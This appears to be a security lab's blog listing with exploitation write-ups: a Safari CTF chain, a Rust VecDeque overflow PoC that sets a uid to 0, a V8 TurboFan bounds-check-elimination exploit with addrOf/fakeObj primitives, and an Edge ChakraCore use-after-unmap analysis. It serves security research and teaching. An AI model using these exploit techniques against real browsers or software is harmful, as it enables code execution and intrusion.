Systems Software and Security Lab

The Apple M1 System on Chip (SoC)

2021-01-06T00:00:00+01:00

Small chip. Giant leap. The Apple M1 System on Chip (SoC) is Apple's first in-house chip designed specifically for Mac. It delivers incredible performance, custom technologies, and revolutionary power efficiency. In this blog we provide an overview of this new piece of technology, including the general architecture, reasons behind the astounding performance, and security.

Hack The Real: An exploitation chain to break the Safari browser

2019-12-13T00:00:00+01:00

Introduction

This blog is created with Insu Yun and Wen Xu.

In the Real World CTF 2019 final, we designed a guest Safari exploitation (w/ sandbox escape) challenge based on two full-chain Safari exploits we built previously. We leveraged the new JSC structureID entropy mitigation bypass techniques to get RCE in the content process. To escape the sandbox, we formulated some flexible techniques for exploiting UAF bugs in Webkit’s broker IPC.

We would like to thank Meng Xu for helpful ideas, and all teams in the final for making efforts to solve our challenges.

Attacking JavaScriptCore

To simulate an attack against the webcontent process, we deliberately introduce a bug into the JSC. Even it is a runtime bug, we can exploit it by introducing unintended JIT side effects.

Analyzing the FastStructureCache

We introduce a vulnerable FastPath to enable RegExp's allocation cache, namely, FastStructureCache. The full patch could be found here.

Here is the code snippet related to the bug:

class FastStructureCache final : public JSNonFinalObject {
public:
    using Base = JSNonFinalObject;
    static Structure** fastCacheStructure;
    static uint64_t fastCacheSizeMax;
    static uint64_t fastCacheSizeUsed;

    static Structure* createStructureFastPath(VM& vm, 
        SGlobalObject* globalObject, JSValue prototype, 
        const TypeInfo& typeInfo, const ClassInfo* classInfo)
    {
        if (fastCacheStructure == NULL) {
            fastCacheStructure = new Structure*[fastCacheSizeMax];
            uint64_t idx = 0;
            while (idx < fastCacheSizeMax) {
                // * [1]
                // Later, we will set the correct globalObject and prototype
                fastCacheStructure[idx] = Structure::create(
                    vm, globalObject, prototype, typeInfo, classInfo);
                idx++;
            }
        }
        if (fastCacheSizeUsed < fastCacheSizeMax) {
            Structure* return_value = fastCacheStructure[fastCacheSizeUsed];
            // * [2]
            // set the correct global object and prototype
            return_value->setPrototypeWithoutTransition(vm, prototype);
            return_value->setGlobalObject(vm, globalObject);
            fastCacheSizeUsed += 1;
            return return_value;
        }
        return Structure::create(vm, globalObject, prototype, typeInfo, classInfo);
    }

protected:
    FastStructureCache(VM&, Structure* structure);
};

At [1], we create a cache for the allocation of structures related to RegExp. Although It does not have proper prototypes, we will set it with the corresponding prototype later at [2]. It at least introduces two bugs. First, the type info and class info are never changed. The objects created later will hold incorrect information in its structure. However, I haven't tried to find a way to exploit it. Second, as Figure 1 illustrates, comparing with the normal process in Structure::create, it fails to mark that the object has become a prototype with didBecomePrototype().

Figure 1. Wrongly create the strucures

Prelimitary exploitation primitives

According to lokihardt's comments, JSC doesn't allow native arrays to have Proxy objects as prototypes. However, with this bug, we can break the assumption holding by the JSC.

As Figure 2 delineates, suppose there is a RegExp has appeared in an native array's protochain. While putting a Proxy object into RegExp's protochain, it will not trigger any conversion to swithToSlowPutArrayStorage. Thus, we follow the same tricks described by lokihardt. i.e., introducing unintended side effects by abusing the HasIndexedProperty IR, causing type confusion in the JSC.

Figure 2. JavaScriptCore doesn't allow native arrays to have Proxy objects as prototypes

We give a code snippert to demonstrate the addrOf and fakeObj primitives. After executing the poc, we can notice the segment fault.

➜  ./jsc pwn.js
0x00007fa42ebdc240
[1]    27955 segmentation fault  ./jsc pwn.js

Leaking valid structureID

Initially, we formulated an approach to leak the strctureID while writing the exploit chains(Actually, there is a team that used the same technique with us). However, there is a talk at BlackHat-EU proposed a public method against structureID randomization. Another team also used it during the competition.

The bypass trick based on a simple but effective fact that not all builtin functions and "mechanisms" rely on valid structureIDs.

One way to utilize this weakness is that abusing Function.prototype.toString.call() with a special fake object. Let us walk through the entire process.

Figure 3 illustrates how to leverage it to leak the strcutureID. We need to fake three objects (An object w/o valid structureID, a fake FunctionExecutable object, and a fake UnlinkedFunctionExecutable object), bypassing the isBuiltinFunction check. In this way, we can leak a valid structureID and a butterfly pointer.

Figure 3. Leaking the valid structureID. (The blue boxes represent fake object, and the green boxes represent normal objects.)

We give a snippet of example code to show how to leak the structureID:

➜  ./jsc pwn.js
Structure ID: 8230700009a5e

Bypassing the gigacage isolation and get code execution

Two approaches have been widely used in the community to bypass Webkit's gigacage (an isolated heap mechanism in JSC), i.e., abusing WASM's Memory buffer or Object's butterfly, because the gigacage does not isolate them.

By using the OOB read described in the previous section, we can also leak the butterfly of the target object. So it could be much easier if we use the butterfly approach.

Finally, we overwrite a jitted function's memory into shellcodes to get code execution.

Furthermore, you can find a copy of the binary to do your examination from here.

Figure 4. Bypassing gigacage isolation using a fake object on butterfly. (The blue boxes represent fake objects, and the green boxes represent real objects/memory.)

Reviving the bug: Escaping the sandbox through Core-IPC

Webkit broker IPC

Because of the modern browsers' multithreading model and sandbox model, the broker IPC has become one of the most powerful attack surfaces for sandbox escape. e.g., the successful demonstration against Chrome Desktop in 2018.

As Figure 5 indicates, Webkit's broker IPC server consists of several message proxies. The WebProcesses and the UI-Process can communicate through IPC.

Figure 5. The communications between web process and other processes. They have two sides, and can be syncoronous or asyncronous.

An intro of a Use-After-Free bug in the UI-Process

We introduce a deliberate bug by reverting a patch for a bug exploited by us a few months ago. You can check the patch at here.

We eliminate the contextID check in the VideoFullScreenMessageProxy::setHasVideo to make the bug could be easily triggered by sending this message multiple times. As Figure 6 indicates, every contextID is associated with a series of objects. The references are maintained by the WTF::HashMap. According to its implementation, the index "0" has a special meaning that the bucket is empty. However, we eliminate the check, and we can pass a zero contextID into it. While putting objects into the hashmap continuously, we could trigger vulnerable rehash behavior. It tries to copy the objects in the old hashmap to the new hashmap. Once the old objects are deallocated, a dangling pointer will appear.

Figure 6. Raw pointers considered harmful

Due to there is a raw pointer in the PlaybackSessionInterface that points to a PlaybackSessionModel object, the raw pointer will become a dangling pointer when triggering the rehash. Once the VideoFullscreenInterfaceMac object is deconstructed, the use-after-free will be triggered.

The UAF could be triggering by sending the following messages to the UI-process.

send(Messages::VideoFullscreenManagerProxy::SetHasVideo(2, true));
send(Messages::VideoFullscreenManagerProxy::SetHasVideo(-3, true));
send(Messages::VideoFullscreenManagerProxy::SetHasVideo(255, true));
send(Messages::VideoFullscreenManagerProxy::SetHasVideo(7, true));
send(Messages::VideoFullscreenManagerProxy::SetHasVideo(4095, true));
send(Messages::VideoFullscreenManagerProxy::SetHasVideo(0, true));
send(Messages::VideoFullscreenManagerProxy::SetHasVideo(18, true));
send(Messages::VideoFullscreenManagerProxy::SetHasVideo(800, true));

If you recompile the browser with ASAN, you can find some crash reports like this one.

A flexible approach to spray the heap in the UI process

To exploit UAF bugs in CPP, we usually need to figure out where to put our fake vtable and how to get the address of the fake vtable.

Instead of sending some messages multiple times, we abuse the shared memory between the web process and UI process to achieve the goal.

Here is a pseudo-code for this message

WebProcess::singleton().parentProcessConnection()->sendSync(
    Messages::WebPasteboardProxy::
        SetPasteboardBufferForType("name", "type", handle, 0x10000000), 
    Messages::WebPasteboardProxy::
        SetPasteboardBufferForType::Reply(newChangeCount), 0);

Refilling the freed object stably

The WebAuthenticatorCoordinatorProxy has a hash parameter, whose type is Vector<uint8_t>, we can abuse it to refill the memory hole.

void WebAuthenticatorCoordinatorProxy::makeCredential(FrameIdentifier frameId, 
    SecurityOriginData&& origin, 
    Vector<uint8_t>&& hash, 
    PublicKeyCredentialCreationOptions&& options, 
    RequestCompletionHandler&& handler) {
    handleRequest({ WTFMove(hash), 
        WTFMove(options), 
        makeWeakPtr(m_webPageProxy), 
        WebAuthenticationPanelResult::Unavailable, 
        nullptr, 
        GlobalFrameIdentifier 
        { 
            m_webPageProxy.webPageID(), 
            frameId 
        }, 
        WTFMove(origin) 
        }, 
        WTFMove(handler));
}

The reason why it is very flexible is that the uint8 vector can help us to refill the memory in byte granularity without any impurities.

Here is a snippet pseudo-code of this message:

sendWithAsyncReply(Messages::WebAuthenticatorCoordinatorProxy::MakeCredential(
        m_mainFrame->frameID(), 
        SecurityOriginData("http", "hqzhao.me", 8080), hash, options), 
        callback
);

Hijicking the control flow through vtable

By utilizing the tricks described above, as Figure 7 illustrates, we can hijack the control flow through the virtual function table and do some ROP to spawn a calculator.

Figure 7. From UAF to sandbox escape

Reflections and conclusion

Although the road to break the macOS's Safari is tedious, I think the leading edge of Safari security research is on iOS. There are still several open challenges for security researches to overcome. e.g., how to get code execution after getting arbitrary address read/write on a PAC enabled iPhone. To the sandbox, AAPL has enhanced the sandbox profile; even some BSD syscalls can not be invoked in the container sandbox. Furthermore, if you want the original challenges in Real World CTF, please check slipper's repo.

Analysis of CVE-2018-1000657: OOB write in Rust's VecDeque::reserve()

2019-08-14T00:00:00+02:00

Introduction

Rust is a system programming language that aims to provide both memory safety and low-level control. As a system programming language, Rust allows potentially dangerous operations such as raw pointer manipulation or foreign function accesses, but only when explicitly stated in unsafe blocks. Accordingly, any bugs associated with the logics inside unsafe blocks can break Rust's safety guarantee, allowing attackers to compromise the Rust program.

In this blog posting, we'd like to demonstrate a PoC exploitation of one of such bugs in the Rust's standard library. More specifically, we exploit an out-of-bound write bug (CVE-2018-1000657) in VecDeque::reserve(), in which the developer incorrectly checks its length with the internal buffer capacity (larger) instead of the user-facing capacity (smaller), breaking an invariant expected by the internal unsafe block (allowing to access beyond the allowed slot). When the bug is triggered, the unsafe block performs an out-of-bound write in the heap region.

The Bug

Rust's VecDeque is a growable double-ended queue implemented as a ring buffer. Rust's VecDeque implementation reserves one empty slot to distinguish its full and empty status. Thus, if a VecDeque has an internal buffer of size N, users will be able to use N-1 slots of it.

The main cause of CVE-2018-1000657 is the confusion between VecDeque's internal buffer capacity with its user-facing capacity in VecDeque::reserve() function. VecDeque::reserve() function increases the capacity of VecDeque (if needed) so that it can hold at least additional more elements.

This is the code of VecDeque::reserve():

pub fn reserve(&mut self, additional: usize) {
    let old_cap = self.cap();
    let used_cap = self.len() + 1;
    let new_cap = used_cap.checked_add(additional)
        .and_then(|needed_cap| needed_cap.checked_next_power_of_two())
        .expect("capacity overflow");

    if new_cap > self.capacity() {
        self.buf.reserve_exact(used_cap, new_cap - used_cap);
        unsafe {
            self.handle_cap_increase(old_cap);
        }
    }
}

Here, the check new_cap > self.capacity() is wrong. The code compares the required internal buffer size (new_cap) with its user-facing size (self.capacity()), so it might execute codes inside the if block even if the internal buffer size stays the same. The problem is that the unsafe function VecDeque::handle_cap_increase() assumes new_cap to be greater than old_cap.

Now let's look at the code of VecDeque::handle_cap_increase():

unsafe fn handle_cap_increase(&mut self, old_cap: usize) {
    let new_cap = self.cap();

    // Move the shortest contiguous section of the ring buffer
    //    T             H
    //   [o o o o o o o . ]
    //    T             H
    // A [o o o o o o o . . . . . . . . . ]
    //        H T
    //   [o o . o o o o o ]
    //          T             H
    // B [. . . o o o o o o o . . . . . . ]
    //              H T
    //   [o o o o o . o o ]
    //              H                 T
    // C [o o o o o . . . . . . . . . o o ]

    if self.tail <= self.head {
        // A
        // Nop
    } else if self.head < old_cap - self.tail {
        // B
        self.copy_nonoverlapping(old_cap, 0, self.head);
        self.head += old_cap;
        debug_assert!(self.head > self.tail);
    } else {
        // C
        let new_tail = new_cap - (old_cap - self.tail);
        self.copy_nonoverlapping(new_tail, self.tail, old_cap - self.tail);
        self.tail = new_tail;
        debug_assert!(self.head < self.tail);
    }
    debug_assert!(self.head < self.cap());
    debug_assert!(self.tail < self.cap());
    debug_assert!(self.cap().count_ones() == 1);
}

VecDeque::handle_cap_increase() may move the prefix or the suffix of the buffer to handle the change of the internal buffer size. Case B (the prefix is shorter than the suffix) copies the prefix of the buffer to old_cap position and moves head pointer. This leads to out-of-bound write and pointer corruption when new_cap is equal to old_cap. The head pointer is not wrapped to the size of the internal buffer, so invoking VecDeque::push_back() will allow one additional element to overflow. Overall, this vulnerability allows an attacker to overflow at most N/2 elements, where N is the size of the internal buffer before calling VecDeque::reserve().

Proof of Concept

In this section, we present a PoC attack against the vulnerability. The code is written entirely in safe Rust, but the content of an immutable struct is being changed due to the heap overflow.

According to the CVE report, Rust version from 1.3.0 to 1.21.0 are affected by this bug. However, version 1.21.0 seems not to be affected by this error in our experiment, so we targeted version 1.20.0. This code expects jemalloc heap allocator since it was the default heap allocator of Rust on Linux at that time, but it would be straightforward to adapt this code to glibc malloc and use one of glibc heap exploitation techniques. We tested our PoC code with 1.20.0-x86_64-unknown-linux-gnu toolchain.

use std::mem::size_of;
use std::collections::VecDeque;

#[derive(Debug)]
struct User {
    uid: usize,
    gid: usize,
    name: &'static str,
}

fn main() {
    // VecDeque allocates internal buffer on the heap
    let mut deque: VecDeque<i32> = VecDeque::with_capacity(7);
    // We allocate a new user on the heap using Box
    let user_box = Box::new(User {
        uid: 1000,
        gid: 1000,
        name: "User",
    });

    let old_cap = deque.capacity() + 1;
    let buf_size = old_cap * size_of::<i32>();
    let user_size = size_of::<User>();
    println!("Deque internal buffer capacity: {}", old_cap);
    println!("Deque internal buffer size: {}", buf_size);
    println!("User struct size: {}", user_size);
    // jemalloc will put VecDeque internal buffer and User struct close if their size matches
    assert!(buf_size == user_size);

    println!("Current user: {:?}", *user_box);

    let buf_addr = deque.as_slices().0.as_ptr() as usize;
    let user_addr = user_box.as_ref() as *const User as usize;
    println!("VecDeque buffer at: 0x{:08x}", buf_addr);
    println!("User struct at: 0x{:08x}", user_addr);
    // check if they were actually allocated next to each other
    assert!(user_addr == buf_addr + buf_size);

    deque.push_front(-1);
    deque.push_front(-1);
    deque.push_back(0);
    // this will copy 0 to internal_buffer[len] position (lower 4 bytes of uid)
    // it also corrupts the ring buffer head pointer to point len + 1 position
    deque.reserve(4);
    // this will write 0 to internal_buffer[len + 1] position (upper 4 bytes of uid)
    deque.push_back(0);

    // uid of immutable user variable was overwritten at this point
    println!("Overwritten user: {:?}", *user_box);

    if user_box.uid == 0 {
        println!("You are root!");
    } else {
        println!("You don't have the root permission");
    }
}

The code prints this result when executed. We can observe that the content of the immutable struct user_box has changed.

Deque internal buffer capacity: 8
Deque internal buffer size: 32
User struct size: 32
Current user: User { uid: 1000, gid: 1000, name: "User" }
VecDeque buffer at: 0x7fb2e8421060
User struct at: 0x7fb2e8421080
Overwritten user: User { uid: 0, gid: 1000, name: "User" }
You are root!

Conclusion

Bug Fix. This CVE is particularly interesting because it is a memory safety error but the bug was in the safe part of the Rust. The root cause of this bug is safe code breaking unsafe code's invariant new_cap > old_cap, even though the corruption of the internal pointer indeed happened in an unsafe function VecDeque::handle_cap_increase(). The bug was fixed by changing self.capacity() (user-facing capacity) to old_cap (internal buffer capacity).

Memory safety vs. logic bugs. Should we consider this is a memory-safety bug or a logic bug? It is questionable as the actual mistake is an incorrect checking of the capacity: perhaps, a typo or a naive mistake thanks to the opaque names of two variables, old_cap vs capacity(). If the same mechanism and logic are implemented in pure Rust, it still incurs an incorrect use (or overwriting) of another nearby element in the deque, although it might prevent attackers from constructing a more powerful exploit primitive such as arbitrary read/write, in a generic manner.

Conclusion. Rust guides programmers to double-check the consequences of unsafe Rust code by explicit unsafe keyword, because a bug related to unsafe code can break Rust's safety guarantee. However, our observation suggests that Rust codes that can trigger a memory bug are actually more than codes that are explicitly marked as unsafe. Rust programmers should be also careful when they are writing safe Rust codes that can affect the invariant of the unsafe codes, and investigating and quantifying this kinds of indirect unsafe Rust code would be an interesting future research topic.

Exploiting TurboFan Through Bounds Check Elimination

2019-07-14T00:00:00+02:00

TL;DR

A few days ago, we played a CTF that has an interesting Chrome exploitation challenge. The author of the challenge applied a deliberate and vulnerable patch to the latest chromium running with a --no-sandbox flag.

To get the flag, we must use this bug to achieve remote code execution (RCE) in the web process. Utimately, we first turn this bug into an array off-by-one bug through bounds check elimination (BCE). Then we manipulate the heap to get stable addrOf and fakeObj primitives. Finally, we use this bug to spawn a calculator on Ubuntu 18.04 successfully.

The Customized Patch & Bug

diff --git a/src/compiler/machine-operator-reducer.cc b/src/compiler/machine-operator-reducer.cc
index a6a8e87cf4..164ab44fab 100644
--- a/src/compiler/machine-operator-reducer.cc
+++ b/src/compiler/machine-operator-reducer.cc
@@ -291,7 +291,7 @@ Reduction MachineOperatorReducer::Reduce(Node* node) {
       if (m.left().Is(kMaxUInt32)) return ReplaceBool(false);  // M < x => false
       if (m.right().Is(0)) return ReplaceBool(false);          // x < 0 => false
       if (m.IsFoldable()) {                                    // K < K => K
-        return ReplaceBool(m.left().Value() < m.right().Value());
+        return ReplaceBool(m.left().Value() < m.right().Value() + 1);
       }
       if (m.LeftEqualsRight()) return ReplaceBool(false);  // x < x => false
       if (m.left().IsWord32Sar() && m.right().HasValue()) {

The patch is interesting because it only use two characters. The bug exists in the MachineOperatorReducer phase, a very late optimization phase.

The IR kUint32LessThan is used to compare two uint32 numbers. In this phase (MachineOperatorReducer), the compiler tries to fold some deterministic comparisons. e.g., for any $\theta$, $kMaxUint32 < \theta$ is folded into $False$. Also, for any comparison between constants, the expression is folded into a determinitic boolean value. e.g., $4 < 4$ is folded into $False$.

The patch introduces a mistable in the fold operation. When the compiler trying to fold the expression, it adds $1$ to the right value, resulting in some correct folds. e.g., $4 < 4$ ($False$) is treated as $4 < 5$ , generating a wrong result: $True$.

Intuitively, this bug can not be leveraged to trigger memory corruption directly; and thus, we tries to use this bug to get some stronger primitives.

Bounds Check Elimination

Previously, there are several typer bugs have been exploited by eliminating the bounds check when accessing JS arraies. Therefore, we would like investigate if the bug can be exploited through similar approaches.

However, Chromium has decided to disable this optimization to harden turbofan's bounds check against typer bugs in Simplified lowering phase.

Fortunately, we noticed that there are still some samilar bugs could be exploited. e.g., the String#lastIndexOf bug depicted by Jeremy Fetiveau¹. As this blog indicates, we notice that the BCE hardening can be bypassed.

Finding a path to eliminate the bounds check

To boost our analysis, we use --trace-turbo flag and turbolizer of d8 to check the Sea of Nodes IR generated by TurboFan².

To date, although the simplified lowering phase does not remove the CheckBounds node, it is replaced by a CheckedUint32Bounds node (source codes). In this way, in the Effect Control Linearization phase, The CheckedUint32Bounds is replaced by a Uint32LessThan node. According to result of uint32 comparison, generating a LoadElement node or an Unreachable node (source codes).

e.g., for the following codes,

function opt(){
    let arr = [0, 1, 2, 3];
    let idx = 3;
    return arr[idx];
}

for(var i=0; i < 0x10000; i++)
    opt()

var x = opt()
console.log(x)

// output
$ ./d8 ./test.js
$ 3

the compiler generates this graph. It works and eliminates the bounds check correctly.

The procedure to eliminate the bounds check

Because $(3 < 4)\equiv True$, without any bounds check, the function loads elements directly.

Right now, the idea to exploit it is quite clear: using the wrong result generated by Uint32LessThan to eliminate the bounds check, constructing an OOB array.

Constant Folding and Two ways to bypass it

Now we would like have the very first try, expecting the element acccess is out-of-bounds (OOB).

function opt() {
    let arr = [0, 1, 2, 3];
    let idx = 4;
    return arr[idx];
}

...

// output
$ ./d8 ./test.js
$ undefined

Unfortunately, this code snippet cannot result in OOB acccess.

After some investigation, we noticed that the LoadElement node is disappeared.

The LoadElement node has disappeared

Suddenly, we realized that the variable idx is removed by the constant folding in LoadElimination phase³. Hence the LoadElement node is disappeared.

To avoid the constant folding, we need to assign an indeterministic Range to the CheckBounds node. Therefore, we can apply some arithmetical operations to this variable.

function opt(){
 let arr = [1.1, 2, 3, 5]

 let idx = 4;
 idx &= 0xfff;
 return arr[idx];
}

...

// output
$ ./d8 ./test.js
$ 8.714350797546e-311

The constant folding has been bypassed

Cool! It works, the array accessed an OOB element successfuly! Technically, we can use it to fulfill our exploitation right now. However, personally I prefer another elegant approach: Escape Analysis.

Escape Analysis

Escape analysis is an optimization phase that can be used to remove temporary objects. e.g., because object "o" is unescaped, the temprary object "o" in the following codes is removed through the escape analysis optimization.

// before escape analysis
function foo() {
    var o = {x: 1, y:2};
    console.log(o.x);
}

// after escape analysis
function foo() {
    console.log(1);
}

Because the escape analysis runs behind the LoadElimination and MachineOperatorReducer, we can put a constant into an unescaped object to avoid the constant folding.

function opt(){
 let arr = [1.1, 2, 3, 5];

 let o = {x: 4};
 return arr[o.x];
}

...

// output

$ ./d8 ./test.js
$ 1.99567061273097e-310

Now, we get an array off-by-one vulnerability successfully.

Exploiting the Off-By-One

The layout of JS objects in V8

In V8, the type of objects is determined by the Map⁴. As a result, if we can replace a double array's map with a var array, a type confusion array cound be constructed.

Because map is the first member of the JS object, by manipulating the heap fengshui, we make two adjacent arraies and try to use the first one to read or write the second one's map.

Faking objects by leveraging the Off-By-One bug

Now the baisc idea is that we can construct two OOB array, the first is used to leak information, and the second one is used to fake objects. The firgue shows how to fake objects.

Heap Feng Shui

The layout of JS array while debugging

Unfortunately, after investigating, we noticed the layout of heap is very weird. The backstore always place in the front of the array header. Therefore, we can only read the array's own map object.

That's fine for leaking double array's map. However, we can not get var array's map using this way, because the map retrieved is encoded as a format of object; and thus, we cannot know the address of it.

Fortunately, v8 uses an idependent heap to store Map objects. the memory layout in this region is relatively stable. Therefore, we can use the address of double map to caculate the jsvar map by leveraing a fixed offset.

Constructing Stable Exploitation Primitives

Originally, We use the following codes to leak information and fake objects.

var lkrefs = [];

function leaker(obj) {
    var a = [obj, obj, obj, obj];
    lkrefs.push(a);
    var o = {a: 4};
    a[o.a] = [double_map];
    return a;
}

function addrOf(obj) {
    for(var i = 0; i < 12000; i++) {
      var ppp = leaker(obj);
    }
    return ppp[0];
}

function faker(addr) {
    var a = [addr, addr, addr, addr];
    lkrefs.push(a);
    var o = {a: 4};
    a[o.a] = [var_array_map];
    return a;
}

function fakeObj(addr) {
    for(var i = 0; i < 12000; i++) {
        var ppp = faker(addr);
    }
    return ppp[0];
}

However, it is very unstable. If we use this primitive too many times, it triggers garbage collection. The fake objects will be corrupted, and the process will crash.

Hence, we use a fake array to avoid it and get reusebale addrOf and fakeObj primitive.

var o = {
    a: 0.0,
    b: [map],
    c: {},
    d: addrOf(o),
    e: 0x0000100400000000, //length
    f: {}
}

faked = addrOf(o) + 0x20;

var fake_arr = fake_obj(faked.asDouble());

// we create a stable primitive
function addrof(obj) {
    o.d = addr_o.asDouble();
    o.b = [var map];
    fake_arr[7] = obj;
    o.b = [double map];
    return fake_arr[7];
}

function fakeobj(addr) {
    o.d = addr_o.asDouble();
    o.b = [double map];
    fake_arr[7] = addr;
    o.b = [var map];
    return fake_arr[7];
}

Code Execution

With stable and reusable addrOf and fakeObj primitive, now the exploitation is quite easier.

We simply follow the well-known tricks to get arbitrary address read/write primitives and overwrite the memory of wasm code to get code exection⁵.

Demo

References

Analysis of a use-after-unmap vulnerability in Edge: CVE-2019-0609

2019-06-29T00:00:00+02:00

Introduction

If someone wants to view a web page with his phone or computer, he will use a web browser. You also might be reading this article with a web browser. All the commodity web browsers in the world (i.e., Microsoft Edge, Apple Safari, Google Chrome, and Mozilla Firefox) implement their own JavaScript engines to support client-side scripting language for dynamic interaction with a client. That is the reason why the JavaScript engine is one of the most popular targets of both hackers and security researchers.

In this post, we introduce an interesting security vulnerability in ChakraCore (JS engine for Edge) we found during our research, CVE-2019-0609. Although the root cause of this bug is not so complicated, it was located quiet deeply unlike other interpreter bugs. Thus, this bug was hard to catch and long-lasting. We guess this is the reason why Microsoft paid the maximum amount of payment to us for the bug bounty.

Analyzing CVE-2019-0609, a use-after-unmap vulnerability

The first insight

Let's start with the assertion hit by the PoC in debug build.

ASSERTION 264714: (/home/soyeon/jsfuzz/js-static/engines/chakracore-1.11.3/lib/Runtime/Library/StackScriptFunction.cpp, line 249) stackFunction->boxedScriptFunction == boxedFunction
 Failure: (stackFunction->boxedScriptFunction == boxedFunction)
[1]    264714 illegal hardware instruction  ~/jsfuzz/js-static/engines/chakracore-1.11.3/out/Debug/ch 35977387.js

From the assertion, we can infer that the PoC has hit an issue while boxing a JavaScript function. No doubt you will be curious about what boxing is, as I did. So, what is boxing in JavaScript?

Boxing in JavaScript

If you declare an object such as a Number or a Function inside the global code or a function, they will be allocated on the stack normally. However, they should be located on the heap for some case, such as referencing same objects with different pointers or scope escaping of an object. For example, if a function allocated on the stack is returned, the function should be boxed to avoid scope escaping. This can happen in JavaScript because a function is a first-class object in JavaScript.

function test() {
    function stackFun(){}
    function heapFun(){print("hi!");}
    return heapFun;
}

test()();
// output : hi!

In the above code, function stackFun and heapFun would be located on the stack when they are declared. Further, the function heapFun should be moved to the heap to avoid pointing the address on the stack of function test, as it is returned to the outside of function test. The behavior that the JS engine moves the object to heap from stack, is called boxing. It is similar to the concept of boxing in Java.

What makes the assertion

Based on the concept of boxing, we can infer that a scriptFunction needs boxing but it failed for some reason. For details, let's take a look at the code around the assertion on StackScriptFunction::BoxState::Box in lib/Runtime/Library/StackScriptFunction.cpp.

247     StackScriptFunction *stackFunction = interpreterFrame->GetStackNestedFunction(i);  
248     ScriptFunction *boxedFunction = this->BoxStackFunction(stackFunction);  
249     Assert(stackFunction->boxedScriptFunction == boxedFunction);  
250     this->UpdateFrameDisplay(stackFunction);

In the above code, it tries to box a stackFunction for some reason, and check whether or not the function is boxed through the assertion. However, the reached assertion shows that it is not really boxed. With gdb, we checked the boxedFunction still indicates stackFunction on the stack, and boxedScriptFunction is nullptr. In normal case, it should points theboxedFunction.

Stopped reason: SIGILL
0x0000555558a9be2f in Js::StackScriptFunction::BoxState::Box (this=0x7ffffffe2540) at /home/soyeon/jsfuzz/js-static/engines/chakracore-1.11.5/lib/Runtime/Library/StackScriptFunction.cpp:249
249                             Assert(stackFunction->boxedScriptFunction == boxedFunction);
$ print boxedFunction
$1 = (Js::ScriptFunction *) 0x7ff7f024fff8
$ print stackFunction
$2 = (Js::StackScriptFunction *) 0x7ff7f024fff8
$ print stackFunction->boxedScriptFunction
$3 = (Js::ScriptFunction *) 0x0

Something went wrong! We should check what really happened in BoxStackFunction.

Why boxing stack function is failed

This is the code snippet of the StackScriptFunction::BoxState::BoxStackFunction.

710     ScriptFunction * StackScriptFunction::BoxState::BoxStackFunction(ScriptFunction * scriptFunction)
711     {
712         // Box the frame display first, which may in turn box the function
713         FrameDisplay * frameDisplay = scriptFunction->GetEnvironment();
714         FrameDisplay * boxedFrameDisplay = BoxFrameDisplay(frameDisplay);
715
716         if (!ThreadContext::IsOnStack(scriptFunction))
717         {
718             return scriptFunction;
719         }
                                    ...
748         boxedFunction = ScriptFunction::OP_NewScFunc(boxedFrameDisplay,
749             reinterpret_cast<FunctionInfoPtrPtr>(&functionInfo));
750         stackFunction->boxedScriptFunction = boxedFunction;

If the scriptFunction is not on the stack, the function does not box the scriptFunction, but just returns the scriptFunction. Probably, this is because the BoxStackFunction wants to avoid boxing a scriptFunction again, which is already boxed and does not exist on the stack. However, it should be located on the stack, as it was StackScriptFunction. This made us suspect the process of the stack variable allocation.

We found a hint in lib/Runtime/Language/InterpreterStackFrame.cpp: Var InterpreterStackFrame::InterpreterHelper.

if (varAllocCount > InterpreterStackFrame::LocalsThreshold)

While allocating the stack for a function, the engine first checks if the space of the local variables exceeds the threshold (InterpreterStackFrame::LocalsThreshold). If so, the engine will allocate a private arena as the stack instead of using the existing native stack. However, the scope analysis which is done by ThreadContext::IsOnStack afterward, forgets to treat this private arena as a stack frame as well. Therefore, the stack function on the private arena will not be boxed and escape the original scope.

After the function, which has a private arena as its stack, is destructed, the stack will be also un-mapped. However, the non-boxed function still points to the stale stack space, which eventually results in a use-after-unmap vulnerability.

Patch analysis

This is the patch for CVE-2019-0609 released in ChakraCore 1.11.7.

+    if (stackVarAllocCount != 0)
+    {
+    size_t stackVarSizeInBytes = stackVarAllocCount * sizeof(Var);
+    PROBE_STACK_PARTIAL_INITIALIZED_INTERPRETER_FRAME(GetScriptContext(), Js::Constants::MinStackInterpreter + stackVarSizeInBytes);
+    stackAllocation = (Var*)_alloca(stackVarSizeInBytes);
+    }

In the patch, the engine first calculates stackVarAllocCount as the number of stackScriptFunction whether it is necessary to box or not. Then, it moves the stackScriptFunctions to the heap through _alloca.

Proof-of-Concept

Here is the PoC of CVE-2019-0609. The [big-size object] should be a large object literal that has an enough number of initialized members to exceed the threshold to allocate a private arena as the function stack.

function test() {
    function a() {
        function d() {
          let e = function() {};
          return e;
        }
        function b() {
            let fun_d = [d];
            return fun_d;
        }
        var obj = [big-size object]
        return b();
    }
    return a();
}
var f = test();
function test1() {
    var obj = [big-size object] // reallocate for use-after-unmap.
    print(f[0]); // function d still points the address on stack as it is not boxed.
}
test1();

TSX-based Defenses Against SGX Side-channel Attacks

2018-06-26T00:00:00+02:00

Limitations of traditional side-channel attacks

Instead of compromising software by exploiting its vulnerabilities, one way to infer the sensitive data of bug-free software is using side-channel attacks. However, in traditional settings (e.g., cloud environments), communities do not consider side-channel attacks as serious security problems because these attacks generally suffer from the following limitations.

Strict prerequisites. To successfully launch a side-channel attack, an attacker has to meet several requirements that are difficult to satisfy in practice. For instance, Flush+Reload cache attacks require spy (under the control of the attacker) and victim programs to be located in the same physical CPU core. Moreover, the spy program needs to know the addresses of the shared libraries used by the victim program. To improve the accuracy and resolution of the attack, the spy program has to synchronize with the execution of the victim program that is of interest (e.g., processing sensitive data).
High levels of noise. Measuring side-channel information suffers from high levels of noise. The sources of the noise include both the underlying system (i.e., the OS kernel) and other concurrent programs. That is, the OS kernel and other concurrent programs can share the CPU caches with victim and spy programs, and therefore easily interfere the states of the caches. As a result, the spy program, which launches cache-based attacks, can obtain noisy information.
Low temporal resolution. With only the control over the spy program, the attacker can affect (i.e., slow down) the execution time of the victim program. As a result, the frequency of side-channel probing, which depends on how the OS schedules the spy and victim programs, is relatively low. Such low temporal resolution of the information makes the attacks less effective in practice.

One root cause of the abovementioned limitations in traditional settings is its weak adversary model; that is, in a cloud-like environment, an attacker has no privilege to control the entire environment. Instead, the attacker is only able to rent a VM that is possibly co-located with a victim VM, and run a spy program inside that VM to target a program inside the victim VM. This inherently suffers from all the limitations.

Why are SGX side-channel attacks more serious?

